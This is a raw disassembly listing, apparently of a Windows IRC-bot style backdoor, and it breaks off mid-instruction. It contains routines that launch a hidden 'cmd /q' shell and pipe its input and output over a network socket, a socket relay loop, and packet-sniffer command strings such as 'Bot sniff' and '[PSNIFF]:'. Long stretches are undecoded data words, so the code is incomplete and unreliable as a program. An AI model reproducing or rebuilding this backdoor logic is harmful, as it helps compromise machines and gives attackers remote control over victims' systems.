lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 26703D3h test eax, eax jz short loc_41199A mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43C248[eax], ecx nop call near ptr 2670000h jmp short loc_4119B0 ; --------------------------------------------------------------------------- loc_41199A: ; CODE XREF: sub_4118DE+9Aj nop call near ptr 26908A7h push eax push offset unk_434E3C call sub_415D62 mov esi, [ebp+var_4] pop ecx pop ecx loc_4119B0: ; CODE XREF: sub_4118DE+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4118DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119B7 proc near ; DATA XREF: sub_411694+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270F4 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_4119E0: ; CODE XREF: sub_4119B7+8Fj call ebx test eax, eax jz short loc_411A48 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A1B loc_4119F1: ; CODE XREF: sub_4119B7+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A0B cmp dl, 0Dh jz short loc_411A0B mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A0B: ; CODE XREF: sub_4119B7+44j ; sub_4119B7+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_4119F1 loc_411A1B: ; CODE XREF: sub_4119B7+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4C9354 test eax, eax jle short loc_411A48 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_4119E0 ; --------------------------------------------------------------------------- loc_411A48: ; CODE XREF: sub_4119B7+2Dj ; sub_4119B7+79j mov esi, dword_42709C call esi cmp eax, 6Dh jz short loc_411A64 call esi push eax push offset dword_434E7C call sub_415D62 pop ecx pop ecx loc_411A64: ; CODE XREF: sub_4119B7+9Cj pop edi pop esi pop ebx leave retn sub_4119B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A69 proc near ; DATA XREF: sub_411694+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411A82: ; CODE XREF: sub_411A69+39j ; sub_411A69+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4C931C test eax, eax jle loc_411B87 cmp [ebp+var_10], ebx jbe short loc_411AA4 dec [ebp+var_10] jmp short loc_411A82 ; --------------------------------------------------------------------------- loc_411AA4: ; CODE XREF: sub_411A69+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411B67 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B14 cmp al, 7Fh jz short loc_411B14 cmp al, 3 jnz short loc_411ACF push ebx push ebx nop call near ptr 27B0000h jmp short loc_411B3B ; --------------------------------------------------------------------------- loc_411ACF: ; CODE XREF: sub_411A69+5Aj cmp al, 15h jnz short loc_411AF1 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B27 ; --------------------------------------------------------------------------- loc_411AF1: ; CODE XREF: sub_411A69+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B28 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B27 ; --------------------------------------------------------------------------- loc_411B14: ; CODE XREF: sub_411A69+52j ; sub_411A69+56j cmp esi, ebx jbe short loc_411B3E dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B27: ; CODE XREF: sub_411A69+86j ; sub_411A69+A9j pop ecx loc_411B28: ; CODE XREF: sub_411A69+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4C9354 test eax, eax jle short loc_411B87 loc_411B3B: ; CODE XREF: sub_411A69+64j mov al, byte ptr [ebp+arg_0+3] loc_411B3E: ; CODE XREF: sub_411A69+ADj cmp al, 0Dh jnz loc_411A82 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2720000h test eax, eax jz short loc_411B87 xor esi, esi jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B67: ; CODE XREF: sub_411A69+47j cmp [ebp+var_C], ebx jnz short loc_411B78 mov [ebp+var_C], 1 jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B78: ; CODE XREF: sub_411A69+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B87: ; CODE XREF: sub_411A69+2Bj ; sub_411A69+D0j ... pop edi pop esi pop ebx leave retn sub_411A69 endp ; --------------------------------------------------------------------------- dword_411B8C dd 81EC8B55h, 2D4ECh, 8458B00h, 6A575653h, 5BF08B10h, 0FF2CBD8Dh ; DATA XREF: sub_401AC7+2BD4o dd 2C6AFFFFh, 59FC5D89h, 16AA5F3h, 895FF633h, 0A8B8h, 458D5300h dd 0E85056ECh, 0A14Ch, 660CC483h, 2EC45C7h, 0C075FF00h dd 930415FFh, 66A004Ch, 66026A57h, 89EE4589h, 15FFF075h dd 4C9384h, 458BF88Bh, 34C069C4h, 53000002h, 0C24CB889h dd 458D0043h, 0FF5750ECh, 4C933015h, 0FC08500h, 12185h dd 570A6A00h, 932C15FFh, 0C085004Ch, 110850Fh, 75FF0000h dd 2CB5FFC0h, 0E8FFFFFFh, 0FFFF8DCEh, 858D5059h, 0FFFFFD2Ch dd 42BC9868h, 0C7E85000h, 830000A3h, 753910C4h, 562075D0h dd 0FD2C858Dh, 75FFFFFFh, 858D50CCh, 0FFFFFF30h, 2CB5FF50h dd 0E8FFFFFFh, 0FFFF7BFEh, 8D14C483h, 0FFFD2C85h, 7BE850FFh dd 59000040h, 50FC458Dh, 50DC458Dh, 9815FF57h, 0FF004C93h dd 0D88BC475h, 0DE45B70Fh, 0D8758950h, 0FFE075FFh, 4C939015h dd 858D5000h, 0FFFFFD2Ch, 434F2868h, 5BE85000h, 530000A3h dd 0FD2C858Dh, 196AFFFFh, 96F3E850h, 4589FFFFh, 34C069C8h dd 8B000002h, 0C483C44Dh, 44888920h, 8D0043C2h, 8D500845h dd 0FFFF2C85h, 685056FFh, 411D91h, 0E8905656h, 227E3B4h dd 69C84D8Bh, 234C9h, 89C63B00h, 43C25481h, 39137400h dd 850FD875h, 0FFFFFF63h, 0E890056Ah, 227E2F4h, 0E890EDEBh dd 227EB93h, 2C858D50h, 68FFFFFDh, 434EECh, 0A2E0E850h dd 0C4830000h, 0FF39E90Ch, 0FF57FFFFh, 4C939C15h, 0C075FF00h dd 0FD2C858Dh, 0B868FFFFh, 5000434Eh, 0A2BDE8h, 0CC48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7AF4E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 3F71E8h, 0C475FF00h, 0FF9944E8h, 565959FFh dd 0E272E890h, 5E5F022Dh, 0EC8B555Bh, 5D4EC81h, 458B0000h dd 57565308h, 0F08B2C6Ah, 38BD8D59h, 0F3FFFFFFh, 0D4758BA5h dd 7589016Ah, 34F66908h, 5F000002h, 0C24CB68Dh, 0B8890043h dd 0ACh, 68BDB33h, 5F845C7h, 89000000h, 0FFFA3085h, 0F8458DFFh dd 858D5350h, 0FFFFFA2Ch, 89535053h, 0BD89FC5Dh, 0FFFFFA2Ch dd 92EC15FFh, 0C085004Ch, 36FF1875h, 939C15FFh, 75FF004Ch dd 98BFE808h, 5359FFFFh, 0E1EEE890h, 8D53022Dh, 0FFFB3085h dd 40868FFh, 0FF500000h, 1C15FF36h, 85004C93h, 0FF187FC0h dd 9C15FF36h, 0FF004C93h, 8EE80875h, 59FFFF98h, 0BDE89053h dd 80022DE1h, 0FFFB30BDh, 850F04FFh, 1EDh, 0FB31BD80h dd 0F01FFFFh, 1E085h, 0BC5D3800h, 458D7774h, 858D50BCh dd 0FFFFFB38h, 0A96EE850h, 85590000h, 617459C0h, 50BC458Dh dd 0FB38858Dh, 6850FFFFh, 434FF0h, 3ED5E8h, 4006800h, 858D0000h dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85DFFFFh dd 9E64h, 8D18C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h dd 4C935415h, 0FF36FF00h, 4C939C15h, 875FF00h, 0FF97F8E8h dd 905359FFh, 2DE127E8h, 8D106A02h, 5053E845h, 9E2BE8h dd 858B6600h, 0FFFFFB32h, 660CC483h, 8BEA4589h, 0FFFB3485h dd 57066AFFh, 0C766026Ah, 2E845h, 0FFEC4589h, 4C938415h dd 83F88B00h, 5D75FFFFh, 929815FFh, 6850004Ch, 434FB0h dd 3E3DE8h, 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h dd 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh, 9DCCh, 8D14C483h dd 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4C935415h, 0FF36FF00h dd 4C939C15h, 875FF00h, 0FF9760E8h, 905359FFh, 2DE08FE8h dd 0E8458D02h, 5750106Ah, 92AC15FFh, 0F883004Ch, 0FF5D75FFh dd 4C929815h, 6C685000h, 0E800434Fh, 3DCEh, 40068h, 38858D00h dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 5DE85BFFh dd 8300009Dh, 858D14C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh dd 4C9354h, 15FF36FFh, 4C939Ch, 0E80875FFh, 0FFFF96F1h dd 21E85359h, 90022DE0h, 40068h, 38858D00h, 53FFFFFBh dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 11E85AFFh, 8300009Dh dd 858D0CC4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 4C9354h dd 0E85736FFh, 39h, 0FF575959h, 4C939C15h, 0FF36FF00h dd 4C939C15h, 875FF00h, 0FF9694E8h, 905359FFh, 2DDFC3E8h dd 0FF36FF02h, 4C939C15h, 875FF00h, 0FF967CE8h, 0E85359FFh dd 22DDFACh db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_41206B: ; CODE XREF: ___:0041211Aj ; ___:0041214Aj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_412083: ; CODE XREF: ___:00412091j mov edx, [ebp+8] cmp [eax], edx jz short loc_412093 inc ecx add eax, 4 cmp ecx, 1 jb short loc_412083 loc_412093: ; CODE XREF: ___:00412088j cmp ecx, 1 jnz short loc_4120A8 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120A8: ; CODE XREF: ___:00412096j push esi lea eax, [ebp-504h] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4C92EC lea eax, [ebp-104h] push eax push ebx call dword_4C91F0 test eax, eax jz short loc_412108 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_412150 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_412150 loc_412108: ; CODE XREF: ___:004120DAj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4C91F0 test eax, eax jz loc_41206B push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_412150 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4C9354 cmp eax, 0FFFFFFFFh jnz loc_41206B loc_412150: ; CODE XREF: ___:004120EFj ; ___:00412106j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412155 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+20A0o ; sub_40BD7C+106o dd 87CEC81h, 558B0000h, 57565308h, 0DB33016Ah, 0A9B958h dd 0F28B0000h, 0FC8CBD8Dh, 6A53FFFFh, 0FFA5F302h, 0FFFE9C85h dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h dd 4C9384h, 0FE83F08Bh, 685675FFh, 190h, 27DE57E8h, 9D399002h dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7690E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 3B0DE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF94DDh, 90535959h, 2DDE0BE8h, 0F0458D02h, 0BF50046Ah dd 0FFFFh, 5657046Ah, 92E415FFh, 458D004Ch, 50046AECh dd 5657FB6Ah, 92E415FFh, 858B004Ch, 0FFFFFE98h, 0C069106Ah dd 234h, 4CB08953h, 8D0043C2h, 0E850D445h, 9AD8h, 660CC483h dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4C930415h, 45896600h dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4C933015h, 0FFF88300h dd 88681975h, 90000013h, 27DD8FE8h, 9C8DFF02h, 0FFFFFFFEh dd 2FE90875h, 8D000003h, 0FFFC9085h, 906868FFh, 0E8500042h dd 99F8h, 59C33B59h, 75FC4589h, 190684Ch, 0E8900000h, 227DD5Ch dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF759Eh, 0F888858Dh, 0E850FFFFh dd 3A1Eh, 0FE98B5FFh, 0EEE8FFFFh, 83FFFF93h, 90531CC4h dd 2DDD1BE8h, 87D8B02h, 2A09F39h, 840F0000h, 27Dh, 80BFh dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 99EBE8h, 0CC48300h dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4C92ECh dd 8E0FC085h, 221h, 43B4B8A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh dd 0FFFA89BDh, 0F445C7FFh, 10h, 0AB66ABF3h, 0F4458DAAh dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h dd 4C92DC15h, 0C875FF00h, 0FFF84589h, 4C939015h, 458D5000h dd 6FE850B0h, 3800009Ch, 0FFFF309Dh, 0F5959FFh, 1AA85h dd 31BD8000h, 1FFFFFFh, 0A3850Fh, 858D0000h, 0FFFFFD94h dd 95A2E850h, 53530000h, 0E8FC75FFh, 0B5C4h, 8DFC75FFh dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh dd 9668h, 8D20C483h, 4589C44Dh, 4C083F8h, 51F475FFh, 858D5053h dd 0FFFFFA88h, 15FF5650h, 4C9368h, 0FF289D39h, 2375FFFFh dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7422h, 8D14C483h, 0FFF88885h dd 9FE850FFh, 59000038h, 110E9h, 31BD8000h, 4FFFFFFh, 0ED850Fh dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh dd 0C6FFFFFAh, 0FFFA8985h, 127503FFh, 0C932C0FEh, 0FA8A8588h dd 9D88FFFFh, 0FFFFFA8Bh, 0C1FE0EEBh, 0FA8A8588h, 8D88FFFFh dd 0FFFFFA8Bh, 0FC0B60Fh, 0E0C1C9B6h, 0BFC10308h, 200h dd 2B09E0C1h, 0FF5053C7h, 0CDE8FC75h, 0FF0000B4h, 858DFC75h dd 0FFFFFA8Ch, 50016A57h, 958FE8h, 1CC48300h, 458DF88Bh dd 0F87D89C4h, 50F475FFh, 5304478Dh, 88858D50h, 50FFFFFAh dd 6815FF56h, 3B004C93h, 8D6E75FBh, 8D50B045h, 0FFF88885h dd 503C68FFh, 0E8500043h, 9AFAh, 390CC483h, 0FFFF289Dh dd 532375FFh, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h dd 50FFFFFEh, 0FC8CB5FFh, 2BE8FFFFh, 83FFFF73h, 858D14C4h dd 0FFFFF888h, 37A8E850h, 5FF0000h, 4CBE0Ch, 0FF16EB59h dd 458DF475h, 6A5350C4h, 50306809h, 0FF560043h, 4C936815h dd 0F85D3900h, 0FD778F0Fh, 7D8BFFFFh, 15FF5608h, 4C939Ch dd 0E8FC75FFh, 945Bh, 0FE9C8DFFh, 9F39FFFFh, 2A0h, 0FF137559h dd 0FFFE98B5h, 912FE8FFh, 5359FFFFh, 0DA5EE890h, 0E868022Dh dd 90000003h, 27DA53E8h, 0A2E85702h, 5FFFFFFBh, 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41262A push esi mov esi, offset dword_435070 loc_4125D2: ; CODE XREF: ___:00412625j push esi push dword ptr [ebp+0Ch] call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412619 push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_4363DC push 200h push eax call sub_41C100 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409862 add esp, 28h loc_412619: ; CODE XREF: ___:004125DFj add esi, 80h cmp esi, offset dword_435C70 jl short loc_4125D2 pop esi jmp short loc_412661 ; --------------------------------------------------------------------------- loc_41262A: ; CODE XREF: ___:004125CAj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C100 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409862 add esp, 24h loc_412661: ; CODE XREF: ___:00412628j xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_412665 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+736Bo dd 920EC81h, 458B0000h, 57565308h, 0F6E0A583h, 6A00FFFFh dd 8658326h, 0F08B5900h, 0FF20BD8Dh, 0A5F3FFFFh, 9480C7h dd 10000h, 0FFB90000h, 33000000h, 0E4BD8DC0h, 0F3FFFFF6h dd 8815FFABh, 8D004C92h, 3C6AB84Dh, 45895051h, 0A015FFF8h dd 0BB004C92h, 200h, 0E890086Ah, 227D938h, 928815FFh, 453B004Ch dd 61840FF8h, 8D000001h, 3C6AB84Dh, 45895051h, 0A015FFF8h dd 83004C92h, 0F00A87Dh, 0CC84h, 20858D00h, 50FFFFFDh dd 9263E8h, 59C08500h, 458D7476h, 55E850B8h, 83000092h dd 735901F8h, 20858D65h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh dd 50004364h, 98DDE8h, 8CEC8100h, 8D000000h, 0B58DB845h dd 0FFFFFF20h, 8B59266Ah, 858D50FCh, 0FFFFFB20h, 0E850A5F3h dd 0FFFFFE6Eh, 53084589h, 0FD20858Dh, 6AFFFFh, 95B2E850h dd 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh, 9DE85000h dd 83000095h, 858D0CC4h, 0FFFFFD20h, 91DEE850h, 0C0850000h dd 0AD860F59h, 8D000000h, 0E850B845h, 91CCh, 0F59C085h dd 9B86h, 20858D00h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh dd 50004364h, 9851E8h, 8CEC8100h, 0EB000000h, 0B8458D34h dd 919AE850h, 0C0850000h, 14860F59h, 8D000001h, 8D50B845h dd 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43644468h, 1BE85000h dd 81000098h, 88ECh, 8D266A00h, 8D59B845h, 0FFFF20B5h dd 50FC8BFFh, 0FB20858Dh, 0A5F3FFFFh, 0FDACE850h, 4589FFFFh dd 858D5308h, 0FFFFFD20h, 0E850006Ah, 94F0h, 0ACC481h dd 858D0000h, 0FFFFFB20h, 50006A53h, 94DBE8h, 0CC48300h dd 0A87D83h, 0A1840Fh, 16A0000h, 92D015FFh, 3D66004Ch dd 850F8001h, 8Fh, 0FD20858Dh, 0E850FFFFh, 9100h, 7659C085h dd 8815FF7Eh, 8D004C92h, 0FFFAE08Dh, 513C6AFFh, 0A015FF50h dd 8D004C92h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43646468h dd 73E85000h, 81000097h, 8CECh, 0E0858D00h, 8DFFFFFAh dd 0FFFF20B5h, 59266AFFh, 8D50FC8Bh, 0FFFB2085h, 50A5F3FFh dd 0FFFD01E8h, 84589FFh, 20858D53h, 6AFFFFFDh, 45E85000h dd 81000094h, 0ACC4h, 20858D00h, 53FFFFFBh, 0E850006Ah dd 9430h, 0C70CC483h, 5C74FC45h, 106A0043h, 91D815FFh dd 0BF0F004Ch, 0FC458BF0h, 57FC788Bh, 92D015FFh, 0C4F6004Ch dd 6A7B7480h, 0D815FF14h, 66004C91h, 1F74C085h, 7EFFFE83h dd 40FF831Ah, 0FF83157Eh, 0C7107D5Bh, 0F6E0BD84h, 1FFFFh dd 0BDE90000h, 6A000001h, 0D815FF14h, 66004C91h, 1E74C085h dd 2E7DF685h, 7E40FF83h, 5BFF8315h, 84C7107Dh, 0FFF6E0BDh dd 2FFh, 192E900h, 0F6850000h, 84C7107Dh, 0FFF6E0BDh, 3FFh dd 17EE900h, 84C70000h, 0FFF6E0BDh, 4FFh, 16EE900h, 0B48B0000h dd 0FFF6E0BDh, 0BD848DFFh, 0FFFFF6E0h, 840FF685h, 158h dd 8D002083h, 0FFFD2085h, 8FF83FFh, 0E8137550h, 8FB4h dd 1F05A480h, 0FFFFFDh, 136E959h, 0A1E80000h, 3D00008Fh dd 1B9h, 0FF397659h, 4C928815h, 0B84D8D00h, 50513C6Ah dd 92A015FFh, 7D83004Ch, 0E7400A8h, 0FD20858Dh, 6850FFFFh dd 43642Ch, 458D55EBh, 858D50B8h, 0FFFFFD20h, 64106850h dd 64EB0043h, 0F0DFF83h, 0B985h, 20858D00h, 50FFFFFDh dd 8F4BE8h, 59C08500h, 0D2840Fh, 15FF0000h, 4C9288h, 6AB84D8Dh dd 0FF50513Ch, 4C92A015h, 0A87D8300h, 8D1D7400h, 0FFFD2085h dd 0FC6850FFh, 8D004363h, 0FFFB2085h, 0B7E850FFh, 83000095h dd 1FEB0CC4h, 50B8458Dh, 0FD20858Dh, 6850FFFFh, 4363E4h dd 0FB20858Dh, 0E850FFFFh, 9596h, 8110C483h, 98ECh, 0B8458D00h dd 0FF20B58Dh, 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh dd 0FB24E850h, 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah dd 9268h, 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 9253E8h dd 0CC48300h, 0FE832EEBh, 83147401h, 0F7403FEh, 7402FE83h dd 4FE8305h, 75FF1A75h, 8B07EBFCh, 0C083FC45h, 858D5007h dd 0FFFFFD20h, 9B42E850h, 59590000h, 14FC4583h, 0A4FC7D81h dd 0F004363h, 0FFFDE98Ch, 87D83FFh, 0B5840F00h, 0FFFFFFFBh dd 0FFFF24B5h, 8BB3E8FFh, 6A59FFFFh, 0E1E89000h db 0D4h, 2Dh, 2 byte_412B1F db 55h ; DATA XREF: sub_401AC7+4151o dd 0B4B8EC8Bh, 0E8000102h, 9774h, 5608558Bh, 58016A57h dd 256AF28Bh, 0FF4CBD8Dh, 8959FFFFh, 0A5F3F845h, 908289h dd 0F6330000h, 458D106Ah, 0E85056E4h, 91B8h, 660CC483h dd 2E445C7h, 15FF5600h, 4C9304h, 0FF4CB5FFh, 8966FFFFh dd 83E8E645h, 59FFFF7Eh, 4415FF50h, 56004C93h, 26A036Ah dd 0FFE84589h, 4C938415h, 83F88B00h, 7D89FFFFh, 0FF5D75FCh dd 4C929815h, 858D5000h, 0FFFFFD4Ch, 436DC468h, 57E85000h dd 83000094h, 75390CC4h, 562075D8h, 0FD4C858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF6C8Eh dd 8D14C483h, 0FFFD4C85h, 0BE850FFh, 0FF000031h, 0DEE8D075h dd 59FFFF8Ah, 0E8905659h, 22DD40Ch, 6AD0458Bh, 34C06910h dd 89000002h, 43C24CB8h, 0E4458D00h, 15FF5750h, 4C9330h dd 75FFF883h, 9815FF64h, 50004C92h, 0FD4C858Dh, 9868FFFFh dd 5000436Dh, 93D9E8h, 0CC48300h, 75D87539h, 858D5620h dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h dd 6C10E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 308DE8h dd 0FF575900h, 4C939C15h, 0D075FF00h, 0FF8A58E8h, 905659FFh dd 2DD387E8h, 458D5602h, 565056E0h, 0F8458D56h, 6850046Ah dd 98000001h, 0B015FF57h, 83004C92h, 6475FFF8h, 929815FFh dd 8D50004Ch, 0FFFD4C85h, 6D6868FFh, 0E8500043h, 9356h dd 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF6B8DE8h, 14C483FFh dd 0FD4C858Dh, 0E850FFFFh, 300Ah, 15FF5759h, 4C939Ch, 0E8D075FFh dd 0FFFF89D5h, 5E85659h, 90022DD3h, 6480BB53h, 0FFBF0043h dd 8D0000FFh, 0FEFD4C85h, 505657FFh, 8FFBE8h, 0CC48300h dd 0FD4C858Dh, 5756FFFEh, 0FC75FF50h, 931C15FFh, 0F883004Ch dd 0FC840FFFh, 80000000h, 0FEFD55BDh, 0C67506FFh, 0FD58858Bh dd 0BD80FFFEh, 0FFFEFD6Dh, 0F4458918h, 858DB475h, 0FFFEFD74h dd 436D5C68h, 21E85000h, 59000093h, 7559C085h, 74858D9Dh dd 68FFFEFDh, 436D4Ch, 930AE850h, 85590000h, 867559C0h dd 0FF33C38Bh, 840FC085h, 0FFFFFF7Ah, 50085D89h, 0FD74858Dh dd 0E850FFFEh, 92E8h, 59C08559h, 83470F75h, 8B180845h dd 0E3750845h, 0FFFF55E9h, 74858DFFh, 50FFFEFDh, 0FD60B5FFh dd 15FFFFFEh, 4C9234h, 50C0B70Fh, 0FFF475FFh, 4C939015h dd 48D5000h, 0C5048B7Fh, 436494h, 708534FFh, 8D004364h dd 0FFFD4C85h, 6D1868FFh, 680043h, 50000002h, 930BE8h dd 1CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6A48E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 2EC5E8h, 0D3E95900h, 0FFFFFFFEh dd 4C929815h, 0EC685000h, 8D00436Ch, 0FFFD4C85h, 20068FFh dd 0E8500000h, 92B4h, 3910C483h, 755BD875h, 858D5620h dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h dd 69F0E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 2E6DE8h dd 75FF5900h, 9C15FFFCh, 0FF004C93h, 36E8D075h, 59FFFF88h dd 65E89056h db 0D1h, 2Dh, 2 ; =============== S U B R O U T I N E ======================================= sub_412E9B proc near ; CODE XREF: sub_4131AA+213p ; sub_4131AA+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CC074, eax mov eax, offset dword_4CC074 retn sub_412E9B endp ; =============== S U B R O U T I N E ======================================= sub_412EAA proc near ; CODE XREF: sub_4131AA+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412EC4 loc_412EC0: ; CODE XREF: sub_412EAA+29j ; sub_412EAA+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412EC4: ; CODE XREF: sub_412EAA+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset 